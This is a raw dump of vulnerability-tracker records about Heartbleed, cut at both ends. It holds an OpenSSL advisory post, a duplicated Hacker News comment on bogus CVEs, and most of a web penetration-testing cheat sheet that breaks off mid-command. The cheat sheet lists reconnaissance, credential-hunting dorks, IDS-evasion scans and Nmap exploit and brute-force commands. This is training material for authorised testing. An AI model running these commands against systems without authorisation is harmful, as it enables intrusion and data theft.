\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\u041f\u0440\u043e\u0435\u043a\u0442 OpenSSL \u043e\u0431\u044a\u044f\u0432\u0438\u043b \u043e \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u0449\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043d\u0430\u0431\u043e\u0440\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u041d\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f OpenSSL 3.0.7, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a, \u0432\u044b\u0439\u0434\u0435\u0442 1 \u043d\u043e\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\nOpen SSL \u2013 \u044d\u0442\u043e \u043d\u0430\u0431\u043e\u0440 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 Transport Layer Security (TLS), \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u043a\u0430\u043a Secure Sockets Layer (SSL). \n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.0 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435. \u042d\u0442\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenSSL. \u0414\u043e \u044d\u0442\u043e\u0433\u043e, \u0432 2014 \u0433\u043e\u0434\u0443, \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Heartbleed (CVE-2014-0160, BDU:2015:09760) \u0432 2014 \u0433\u043e\u0434\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://mta.openssl.org/pipermail/openssl-announce/2022-October/000238.html \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #OpenSSL", "creation_timestamp": "2026-07-29T00:00:46.293113Z"}, {"uuid": "da043a65-71e6-4699-a093-22a0e8d09105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/hn_best_comments/19085", "content": "Re: The Bogus CVE Problem\n        \nThis resonates. Unfortunately, the CVE database(s) are too noisy to be useful. It could benefit from higher standards and more thorough vetting. (Maybe take some lessons from academia.)\n\nA \"security researcher\" once filed a CVE for a regular bug in Caddy [0], making claims that were totally provably false. It was assigned 7.5... the same as Heartbleed [1] -- yes, the one that leaked almost all the private encryption keys on the Internet back in 2014. When I appealed to NVD for retraction (or whatever they do in this case), I never heard back, despite several emails / form submissions. It is not well-maintained. It is poorly managed. There is virtually no oversight. NVD is a trainwreck.\n\nMore recently I inadvertently discovered a 0-day RCE in acme.sh [2]. (ACME clients are security-sensitive contexts since they typically deal with private keys and download signed credentials.) Anyway, it was assigned a CVSS 3.x score of * 9.8 * [3] -- I imagine that should be like \"cyber-nuclear meltdown\" territory, but no, this was actually benign as far as we can tell. Probably deserves more like a 4 or 5 or something. So, again: There is virtually no oversight. NVD is a trainwreck.\n\nAnyway, the whole system is broken, and I'm effectively ignoring CVEs now. But if someone just tells me to patch my , I'll probably do it, and that's good enough for me.\n\n[0]: https://github.com/caddyserver/caddy/issues/4775\n\n[1]: https://nvd.nist.gov/vuln/detail/cve-2014-0160\n\n[2]: https://matt.life/writing/the-acme-protocol-in-practice-and-reality\n\n[3]: https://nvd.nist.gov/vuln/detail/CVE-2023-38198\n        \nmholt, 1 day ago", "creation_timestamp": "2026-07-29T12:01:07.014369Z"}, {"uuid": "bfa0eb15-4205-4836-93ff-cbe855db640e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/reverseame/4752", "content": "Heartbleed \u2014 A deep dive into CVE-2014\u20130160 #Heartbleed #CVE20140160 #OpenSSL #Metasploit #SecureCoding https://medium.com/@misterxcrypt/heartbleed-a-deep-dive-into-cve-2014-0160-9b9f730601ec", "creation_timestamp": "2026-07-29T12:02:10.822678Z"}, {"uuid": "673e35e7-21a8-4ef7-aed3-4cf6ee485979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/hn_best_comments/19085", "content": "Re: The Bogus CVE Problem\n        \nThis resonates. Unfortunately, the CVE database(s) are too noisy to be useful. It could benefit from higher standards and more thorough vetting. (Maybe take some lessons from academia.)\n\nA \"security researcher\" once filed a CVE for a regular bug in Caddy [0], making claims that were totally provably false. It was assigned 7.5... the same as Heartbleed [1] -- yes, the one that leaked almost all the private encryption keys on the Internet back in 2014. When I appealed to NVD for retraction (or whatever they do in this case), I never heard back, despite several emails / form submissions. It is not well-maintained. It is poorly managed. There is virtually no oversight. NVD is a trainwreck.\n\nMore recently I inadvertently discovered a 0-day RCE in acme.sh [2]. (ACME clients are security-sensitive contexts since they typically deal with private keys and download signed credentials.) Anyway, it was assigned a CVSS 3.x score of * 9.8 * [3] -- I imagine that should be like \"cyber-nuclear meltdown\" territory, but no, this was actually benign as far as we can tell. Probably deserves more like a 4 or 5 or something. So, again: There is virtually no oversight. NVD is a trainwreck.\n\nAnyway, the whole system is broken, and I'm effectively ignoring CVEs now. But if someone just tells me to patch my , I'll probably do it, and that's good enough for me.\n\n[0]: https://github.com/caddyserver/caddy/issues/4775\n\n[1]: https://nvd.nist.gov/vuln/detail/cve-2014-0160\n\n[2]: https://matt.life/writing/the-acme-protocol-in-practice-and-reality\n\n[3]: https://nvd.nist.gov/vuln/detail/CVE-2023-38198\n        \nmholt, 1 day ago", "creation_timestamp": "2026-07-30T00:01:47.214247Z"}, {"uuid": "04ef13ec-e6bf-4423-abe6-451c84261125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/reverseame/4752", "content": "Heartbleed \u2014 A deep dive into CVE-2014\u20130160 #Heartbleed #CVE20140160 #OpenSSL #Metasploit #SecureCoding https://medium.com/@misterxcrypt/heartbleed-a-deep-dive-into-cve-2014-0160-9b9f730601ec", "creation_timestamp": "2026-07-30T00:02:18.454255Z"}, {"uuid": "e14186fe-eeed-485d-a4e0-4f19a33dcf88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/bbrk364/406ab37feb8b8752f624c07c13b3bb68", "content": "# Web Penetration Testing Cheat Sheet\n\n## Complete Guide to Ethical Hacking & Web Application Security Testing\n\n---\n\n## \ud83d\udccb Table of Contents\n- [Introduction](#introduction)\n- [Legal & Ethical Considerations](#legal--ethical-considerations)\n- [Penetration Testing Methodology](#penetration-testing-methodology)\n- [Initial Setup & Installation](#initial-setup--installation)\n- [Reconnaissance (Information Gathering)](#reconnaissance-information-gathering)\n- [Port & Service Scanning](#port--service-scanning)\n- [Web Enumeration](#web-enumeration)\n- [Vulnerability Assessment](#vulnerability-assessment)\n- [SQL Injection (SQLi)](#sql-injection-sqli)\n- [Cross-Site Scripting (XSS)](#cross-site-scripting-xss)\n- [Authentication Attacks](#authentication-attacks)\n- [File Inclusion Vulnerabilities](#file-inclusion-vulnerabilities)\n- [Server-Side Request Forgery (SSRF)](#server-side-request-forgery-ssrf)\n- [Command Injection](#command-injection)\n- [API Testing](#api-testing)\n- [SSL/TLS Security](#ssltls-security)\n- [Post-Exploitation](#post-exploitation)\n- [Reporting](#reporting)\n- [Tools Reference](#tools-reference)\n- [Practice Labs & Resources](#practice-labs--resources)\n- [Sample Scripts](#sample-scripts)\n\n---\n\n## Introduction\n\nWeb penetration testing is the practice of simulating cyberattacks against web applications to identify security vulnerabilities before malicious actors can exploit them. This comprehensive guide covers everything from initial reconnaissance to post-exploitation and reporting.\n\nWhether you're preparing for certifications like OSCP, CEH, or GWAPT, or you're a security professional looking to expand your skills, this cheat sheet provides practical commands, techniques, and real-world examples.\n\n---\n\n## Legal & Ethical Considerations\n\n### \u26a0\ufe0f IMPORTANT LEGAL WARNING\n\n**Penetration testing without explicit written permission is ILLEGAL** in most jurisdictions:\n- **USA**: Computer Fraud and Abuse Act (CFAA)\n- **UK**: Computer Misuse Act 1990\n- **EU**: General Data Protection Regulation (GDPR) and local cybercrime laws\n- **Australia**: Cybercrime Act 2001\n\n### Requirements Before Testing:\n1. **Signed Authorization Letter** - Must specify:\n   - Target scope (IP ranges, domains, applications)\n   - Testing dates and times\n   - Allowed testing methods\n   - Emergency contact information\n   - Legal jurisdiction and liability clauses\n\n2. **Rules of Engagement Document** covering:\n   - What constitutes out-of-scope activity\n   - Data handling procedures\n   - Notification thresholds for critical findings\n   - Third-party considerations\n\n3. **Insurance & Professional Indemnity** (for professional testers)\n\n### Certifications & Training:\n- **OSCP** (Offensive Security) - Hands-on penetration testing\n- **OSWP** (Offensive Security Wireless Professional)\n- **OSWE** (Offensive Security Web Expert)\n- **CEH** (EC-Council) - Certified Ethical Hacker\n- **eWPT/X** (eLearnSecurity) - Web penetration tester\n- **PNPT** (TCM Security) - Practical Network Penetration Tester\n- **BSCP** (PortSwigger) - Burp Suite Certified Practitioner\n- **GWAPT** (GIAC) - Web Application Penetration Tester\n- **CISSP** (ISC\u00b2) - Security management (requires experience)\n\n---\n\n## Penetration Testing Methodology\n\n### The 8 Phases of Penetration Testing\n\n\n| Phase | Name                         | Key Activities (Detailed)                                                                                                                                                                                                                                                                                                                                                                                                                 | Deliverables                              |\n| ----- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------- |\n| **1** | **Planning**                 | \u2022 Define scope (IPs, domains, applications, APIs)\u2022 Identify in-scope / out-of-scope assets\u2022 Establish Rules of Engagement (RoE)\u2022 Obtain legal authorization & NDA\u2022 Determine testing methodology (e.g., OWASP Testing Guide, PTES)\u2022 Identify stakeholders & communication channels\u2022 Set testing timeline and escalation procedures\u2022 Define success criteria & reporting format                                | Signed contract, scope document           |\n| **2** | **Reconnaissance**           | \u2022 Passive OSINT (WHOIS, social media, breach databases)\u2022 Identify employee emails & technology stack\u2022 DNS enumeration & zone transfer attempts\u2022 Subdomain discovery (bruteforce + certificate transparency logs)\u2022 Search engine reconnaissance (Google dorking)\u2022 Metadata extraction from public documents\u2022 Identify third-party integrations & cloud services\u2022 Gather leaked credentials from public sources | Target profile, attack surface map        |\n| **3** | **Scanning**                 | \u2022 Network discovery (live host identification)\u2022 TCP/UDP port scanning\u2022 Service version detection & banner grabbing\u2022 OS fingerprinting\u2022 SSL/TLS configuration analysis\u2022 Firewall/WAF detection\u2022 Vulnerability scanning using automated tools\u2022 Identify misconfigurations (open S3 buckets, exposed databases)                                                                                                  | Network map, open ports, services         |\n| **4** | **Enumeration**              | \u2022 Directory and file brute-forcing\u2022 API endpoint discovery\u2022 Parameter fuzzing & input testing\u2022 User account enumeration (login, password reset)\u2022 SMB/LDAP enumeration\u2022 Database fingerprinting\u2022 Identify hidden functionality in JavaScript files\u2022 Review robots.txt & sitemap.xml                                                                                                                            | Content inventory, potential entry points |\n| **5** | **Vulnerability Assessment** | \u2022 Automated vulnerability scanning\u2022 Manual verification of findings\u2022 CVE & exploit database research\u2022 Misconfiguration analysis\u2022 Authentication & authorization testing\u2022 Business logic testing\u2022 Rate limiting & brute-force testing\u2022 Map vulnerabilities to CVSS scoring\u2022 Prioritize risks (Critical, High, Medium, Low)                                                                                 | Vulnerability list, risk ratings          |\n| **6** | **Exploitation**             | \u2022 Develop proof-of-concept (PoC) exploits\u2022 Exploit web vulnerabilities (SQLi, XSS, RCE, SSRF)\u2022 Password attacks (brute-force, credential stuffing)\u2022 Privilege escalation (local & domain level)\u2022 Exploit known CVEs\u2022 Gain shell access (reverse shell, web shell)\u2022 Bypass WAF/IDS mechanisms\u2022 Data extraction under controlled conditions                                                                     | Exploited vulnerabilities, access gained  |\n| **7** | **Post-Exploitation**        | \u2022 Establish persistence mechanisms\u2022 Lateral movement across network\u2022 Token impersonation & pass-the-hash attacks\u2022 Dump credentials & password hashes\u2022 Sensitive data discovery (PII, financial data)\u2022 Privilege escalation to domain admin\u2022 Simulate data exfiltration\u2022 Log analysis & detection evasion techniques\u2022 Assess business impact of compromise                                                 | Compromised systems, sensitive data       |\n| **8** | **Reporting**                | \u2022 Document technical findings with evidence (screenshots, logs)\u2022 Risk severity classification & impact analysis\u2022 Business risk explanation for executives\u2022 Remediation & mitigation recommendations\u2022 Re-test verification (if required)\u2022 Executive summary (non-technical)\u2022 Technical appendix with reproduction steps\u2022 Final presentation to stakeholders                                                    | Final report, presentation                |\n\n\n\n### Testing Types:\n- **Black Box**: No prior knowledge of the system\n- **White Box**: Full access to source code, architecture, credentials\n- **Grey Box**: Partial knowledge (e.g., authenticated access)\n- **Blind Testing**: Tester knows target, target doesn't know tester\n- **Double-Blind**: Neither side knows about the test\n- **Red Team**: Full-scope adversarial simulation\n- **Purple Team**: Collaborative testing with defensive teams\n\n---\n\n## Initial Setup & Installation\n\n### Installing Kali Linux\n\n**Option 1: Virtual Machine (Recommended)**\n```bash\n# Download Kali Linux VM from official site\n# Import into VirtualBox/VMware\n# Default credentials: kali:kali\n```\n\n**Option 2: Bare Metal**\n```bash\n# Download ISO from kali.org\n# Create bootable USB: dd if=kali.iso of=/dev/sdb bs=4M status=progress\n# Boot and install\n```\n\n**Option 3: Docker**\n```bash\ndocker pull kalilinux/kali-rolling\ndocker run -it kalilinux/kali-rolling /bin/bash\n```\n\n**Option 4: Windows Subsystem for Linux (WSL2)**\n```bash\n# Install WSL2, then:\nwsl --install -d kali-linux\n```\n\n### Essential Tools Installation\n\n```bash\n# Update package lists\nsudo apt update && sudo apt upgrade -y\n\n# Core scanning tools\nsudo apt install -y nmap nikto gobuster dirb wfuzz\n\n# Web application tools\nsudo apt install -y sqlmap burpsuite zaproxy\n\n# Brute force tools\nsudo apt install -y hydra medusa john hashcat\n\n# Enumeration tools\nsudo apt install -y ffuf wfuzz whatweb wafw00f\n\n# Reconnaissance tools\nsudo apt install -y sublist3r amass theharvester dnsrecon\n\n# Exploitation framework\nsudo apt install -y metasploit-framework\n\n# Networking tools\nsudo apt install -y netcat-openbsd socat wireshark tcpdump\n\n# Post-exploitation\nsudo apt install -y impacket-scripts pwncat\n\n# Wordlists\nsudo apt install -y seclists wordlists\n```\n\n### Python Tools Installation\n```bash\n# Install pip if not present\nsudo apt install -y python3-pip\n\n# Python-based tools\npip3 install theHarvester dalfox xsstrike\npip3 install impacket pwncat-cs\npip3 install dnspython requests beautifulsoup4\npip3 install shodan censys\npip3 install argon2 python-nmap\n```\n\n### Directory Structure Setup\n```bash\n# Create organized workspace\nmkdir -p ~/pentest/{tools,wordlists,scripts,reports,loot}\n\n# Create target-specific directories\nmkdir -p ~/pentest/$(date +%Y%m%d)_target/{recon,scans,exploit,evidence}\ncd ~/pentest/$(date +%Y%m%d)_target\n```\n\n### Environment Variables\n```bash\n# Add to ~/.bashrc for persistence\nexport TARGET=\"10.10.10.1\"\nexport DOMAIN=\"target.com\"\nexport LHOST=$(ip a | grep tun0 | awk '{print $2}' | cut -d/ -f1)\nexport WORDLIST=\"/usr/share/wordlists/rockyou.txt\"\n\n# Source the file\nsource ~/.bashrc\n```\n\n### Burp Suite Configuration\n1. **Proxy Setup**:\n   - Browser \u2192 Settings \u2192 Network \u2192 Manual proxy: `127.0.0.1:8080`\n   - Install Burp CA certificate\n   - Firefox: Preferences \u2192 Privacy & Security \u2192 Certificates \u2192 Import\n\n2. **FoxyProxy** browser extension for quick proxy switching\n\n3. **Scope Configuration**:\n   - Target tab \u2192 Scope \u2192 Add to scope\n   - Exclude out-of-scope items\n\n### /etc/hosts Configuration\n```bash\n# Add target domains for easier access\nsudo tee -a /etc/hosts << EOF\n10.10.10.1    target.htb dev.target.htb admin.target.htb\n10.10.10.2    mail.target.htb vpn.target.htb\nEOF\n```\n\n---\n\n## Reconnaissance (Information Gathering)\n\n### DNS Enumeration\n\n#### Basic DNS Queries\n```bash\n# WHOIS information\nwhois target.com\n\n# All DNS records\ndig target.com ANY +noall +answer\nnslookup -type=ANY target.com\n\n# MX records (mail servers)\ndig target.com MX +short\nnslookup -type=MX target.com\n\n# NS records (name servers)\ndig target.com NS +short\nhost -t ns target.com\n\n# TXT records (SPF, DKIM, verification)\ndig target.com TXT +short\nnslookup -type=TXT target.com\n\n# A/AAAA records\ndig target.com A +short\ndig target.com AAAA +short\n\n# CNAME records\ndig www.target.com CNAME +short\n\n# SOA record (start of authority)\ndig target.com SOA +short\n```\n\n#### Zone Transfer Attempt\n```bash\n# Attempt zone transfer from each name server\nfor ns in $(dig NS target.com +short); do\n    echo \"Attempting zone transfer from $ns\"\n    dig AXFR target.com @$ns\ndone\n\n# Using host command\nhost -l target.com ns1.target.com\n```\n\n#### Reverse DNS Lookup\n```bash\n# Find domains hosted on IP\ndig -x 192.168.1.1 +short\nnslookup 192.168.1.1\n```\n\n### Subdomain Enumeration\n\n#### Passive Techniques (No direct interaction)\n```bash\n# Sublist3r - Multiple sources\nsublist3r -d target.com -o subdomains.txt\nsublist3r -d target.com -b google,yahoo,bing,baidu -t 50\n\n# Amass - Passive mode\namass enum -passive -d target.com -o amass_passive.txt\n\n# TheHarvester - Search engines\ntheHarvester -d target.com -b all -f theharvester.html\n\n# Certificate Transparency (crt.sh)\ncurl -s \"https://crt.sh/?q=%.target.com&output=json\" | jq .\n\n# Using SecurityTrails API\ncurl -s \"https://api.securitytrails.com/v1/domain/target.com/subdomains\" \\\n     -H \"APIKEY: YOUR_API_KEY\" | jq -r '.subdomains[]'\n\n# Shodan\nshodan search hostname:target.com\n```\n\n#### Active Techniques\n```bash\n# Amass - Active enumeration\namass enum -active -d target.com -o amass_active.txt\namass enum -active -d target.com -brute -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\n\n# Gobuster DNS mode\ngobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 50\n\n# ffuf for vhost discovery\nffuf -u http://target.com -H \"Host: FUZZ.target.com\" \\\n     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \\\n     -fc 400,404,403\n\n# DNSRecon\ndnsrecon -d target.com -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt\n\n# DNSEnum\ndnsenum target.com\n```\n\n### Technology Stack Identification\n\n```bash\n# WhatWeb - Comprehensive\nwhatweb target.com\nwhatweb target.com --aggression 3 --log-brief=whatweb.txt\n\n# Wappalyzer (browser extension)\n\n# BuiltWith (online service)\n\n# Wafw00f - WAF detection\nwafw00f target.com\nwafw00f target.com -a  # aggressive\n\n# HTTP headers inspection\ncurl -sI https://target.com\ncurl -sI https://target.com | grep -i \"server\\|x-powered-by\\|via\"\n\n# Web server fingerprinting\nhttpx -u target.com -tech-detect -status-code -title -follow-redirects\n\n# CMS detection\n# WordPress\nwpscan --url target.com --api-token YOUR_TOKEN\n\n# Joomla\njoomscan -u target.com\n\n# Drupal\ndroopescan scan drupal -u target.com\n```\n\n### OSINT (Open Source Intelligence)\n\n#### Email Discovery\n```bash\n# theHarvester\ntheHarvester -d target.com -b all -f results.html\ntheHarvester -d target.com -b google,bing,linkedin\n\n# Hunter.io (API required)\ncurl -s \"https://api.hunter.io/v2/domain-search?domain=target.com&api_key=KEY\" | jq\n\n# EmailHarvester\npython3 EmailHarvester.py -d target.com\n```\n\n#### Social Media\n- LinkedIn: Search for employees, job postings, technologies used\n- Twitter: Company handles, employee mentions\n- GitHub: Search for company repos, code leaks, API keys\n- Glassdoor: Employee reviews, technologies mentioned\n\n#### Code Repositories\n```bash\n# GitHub dorks\nsite:github.com \"target.com\"\nsite:github.com \"target.com\" \"api_key\"\nsite:github.com \"target.com\" \"password\"\n\n# Gitrob (requires GitHub token)\ngitrob -target target.com\n\n# TruffleHog - find secrets\ntrufflehog github --org=target-org\n```\n\n#### Wayback Machine\n```bash\n# View historical versions\nwaybackurls target.com | tee wayback_urls.txt\n\n# Extract endpoints\ngau target.com | tee gau_urls.txt\n```\n\n#### Google Dorking\n```\n# Common dorks\nsite:target.com\nsite:target.com filetype:pdf\nsite:target.com inurl:admin\nsite:target.com intitle:\"index of\"\nsite:target.com ext:php | ext:asp | ext:aspx | ext:jsp\nsite:target.com inurl:wp-content\nsite:target.com \"confidential\" | \"internal use only\"\nsite:target.com intext:\"sql syntax near\" | intext:\"syntax error has occurred\" | intext:\"incorrect syntax near\"\nsite:target.com inurl:php? id=\nsite:target.com \"powered by\" | \"built with\"\n```\n\n### Cloud & Infrastructure Discovery\n\n```bash\n# Find cloud assets\n# AWS\ncurl -s http://target.com.s3.amazonaws.com\ncurl -s http://s3.amazonaws.com/target.com\n\n# Azure\ncurl -s http://target.com.blob.core.windows.net\n\n# Google Cloud\ncurl -s http://storage.googleapis.com/target.com\n\n# Shodan queries\nshodan search \"hostname:target.com\" --fields ip_str,port,org,hostnames\nshodan search \"ssl:target.com\" --fields ip_str,port\nshodan search \"http.title:target\" --fields ip_str,port\n\n# Censys\ncensys search \"target.com\"\n```\n\n---\n\n## Port & Service Scanning\n\n### Nmap Fundamentals\n\n#### Basic Scans\n```bash\n# Quick scan (top 1000 ports)\nnmap -T4 -F target.com\n\n# Version detection\nnmap -sV target.com\n\n# OS detection\nnmap -O target.com\n\n# Default scripts\nnmap -sC target.com\n\n# Combined: version + scripts\nnmap -sV -sC target.com\n\n# Aggressive scan (OS + version + scripts + traceroute)\nnmap -A -T4 target.com\n```\n\n#### Port Selection\n```bash\n# Specific ports\nnmap -p 80,443,8080,8443 target.com\n\n# Port range\nnmap -p 1-1000 target.com\n\n# All ports (65535) - slow\nnmap -p- target.com\n\n# Fast all ports (with rate limiting)\nnmap -p- --min-rate 5000 target.com\n\n# Most common ports\nnmap --top-ports 200 target.com\n```\n\n#### Scan Types\n```bash\n# TCP SYN scan (default, requires root)\nsudo nmap -sS target.com\n\n# TCP Connect scan (no root)\nnmap -sT target.com\n\n# UDP scan\nsudo nmap -sU target.com\nsudo nmap -sU --top-ports 50 target.com\n\n# FIN scan (bypass some firewalls)\nsudo nmap -sF target.com\n\n# NULL scan\nsudo nmap -sN target.com\n\n# Xmas scan\nsudo nmap -sX target.com\n\n# ACK scan (map firewall rules)\nsudo nmap -sA target.com\n\n# Window scan\nsudo nmap -sW target.com\n\n# Maimon scan\nsudo nmap -sM target.com\n```\n\n#### Output Formats\n```bash\n# Normal output\nnmap -oN scan.txt target.com\n\n# XML output (for tools)\nnmap -oX scan.xml target.com\n\n# Grepable output\nnmap -oG scan.gnmap target.com\n\n# All formats\nnmap -oA scan target.com\n```\n\n### Advanced Nmap Techniques\n\n#### Timing and Performance\n```bash\n# Timing templates\n# T0 = Paranoid, T1 = Sneaky, T2 = Polite, T3 = Normal, T4 = Aggressive, T5 = Insane\nnmap -T4 target.com\n\n# Host timeout\nnmap --host-timeout 30m target.com\n\n# Max retries\nnmap --max-retries 3 target.com\n\n# Min/max rate\nnmap --min-rate 100 --max-rate 500 target.com\n\n# Parallelism\nnmap --min-hostgroup 50 --max-hostgroup 100 target.com\n```\n\n#### Firewall/IDS Evasion\n```bash\n# Fragment packets\nsudo nmap -f target.com\n\n# Specify MTU (must be multiple of 8)\nsudo nmap --mtu 16 target.com\n\n# Decoy scans\nsudo nmap -D RND:10 target.com\nsudo nmap -D decoy1,decoy2,ME target.com\n\n# Spoof source port\nsudo nmap --source-port 53 target.com\n\n# Randomize hosts\nsudo nmap --randomize-hosts target.com\n\n# MAC address spoofing\nsudo nmap --spoof-mac Apple target.com\nsudo nmap --spoof-mac 00:11:22:33:44:55 target.com\n\n# Idle scan (zombie)\nsudo nmap -sI zombie_host target.com\n```\n\n#### Script Scanning\n```bash\n# Run all safe scripts\nnmap -sV --script safe target.com\n\n# Run vulnerability scripts\nnmap -sV --script vuln target.com\n\n# Run exploit scripts\nnmap --script exploit target.com\n\n# Run specific category\nnmap --script default,auth,discovery target.com\n\n# Run specific script\nnmap --script http-enum target.com\nnmap --script http-title target.com\nnmap --script dns-brute target.com\n\n# Script with arguments\nnmap --script http-brute --script-args userdb=users.txt,passdb=pass.txt target.com\n\n# HTTP enumeration\nnmap -p 80,443,8080,8443 --script http-enum,http-headers,http-title,http-server-header target.com\n\n# SMB enumeration\nnmap -p 445 --script smb-enum-shares,smb-enum-users,smb-os-discovery target.com\n```\n\n### Nmap Scripting Engine Examples\n\n```bash\n# HTTP vuln scanning\nnmap -p 80,443 --script http-vuln-* target.com\n\n# SQL injection detection\nnmap -p 80 --script http-sql-injection target.com\n\n# XSS detection\nnmap -p 80 --script http-unsafe-output-escaping target.com\n\n# Shellshock detection\nnmap -p 80 --script http-shellshock target.com\n\n# Heartbleed detection\nnmap -p 443 --script ssl-heartbleed target.com\n\n# DNS zone transfer\nnmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=target.com target.com\n\n# SSL/TLS enumeration\nnmap -p 443 --script ssl-enum-ciphers target.com\nnmap -p 443 --script ssl-cert target.com\n\n# FTP enumeration\nnmap -p 21 --script ftp-anon,ftp-brute,ftp-syst target.com\n\n# SSH enumeration\nnmap -p 22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods target.com\n```\n\n### Practical Nmap Workflow\n\n```bash\n#!/bin/bash\n# Complete Nmap scanning workflow\n\nTARGET=\"10.10.10.1\"\nOUTDIR=\"./nmap_scan_$(date +%Y%m%d_%H%M%S)\"\nmkdir -p $OUTDIR\n\necho \"[*] Starting Nmap scan against $TARGET\"\necho \"[*] Output directory: $OUTDIR\"\n\n# Phase 1: Quick port scan\necho \"[*] Phase 1: Quick top-1000 port scan\"\nnmap -T4 --open -oN $OUTDIR/quick.txt $TARGET\n\n# Phase 2: Full port scan (all ports)\necho \"[*] Phase 2: Full port scan (all 65535)\"\nnmap -p- -T4 --min-rate 5000 -oN $OUTDIR/allports.txt $TARGET\n\n# Extract open ports\nPORTS=$(grep ^[0-9] $OUTDIR/allports.txt | cut -d'/' -f1 | tr '\\n' ',' | sed 's/,$//')\necho \"[+] Open ports: $PORTS\"\n\n# Phase 3: Service and version detection\necho \"[*] Phase 3: Service and version detection\"\nnmap -p $PORTS -sV -sC -A -oN $OUTDIR/services.txt -oX $OUTDIR/services.xml $TARGET\n\n# Phase 4: Vulnerability scan\necho \"[*] Phase 4: Vulnerability scan with NSE\"\nnmap -p 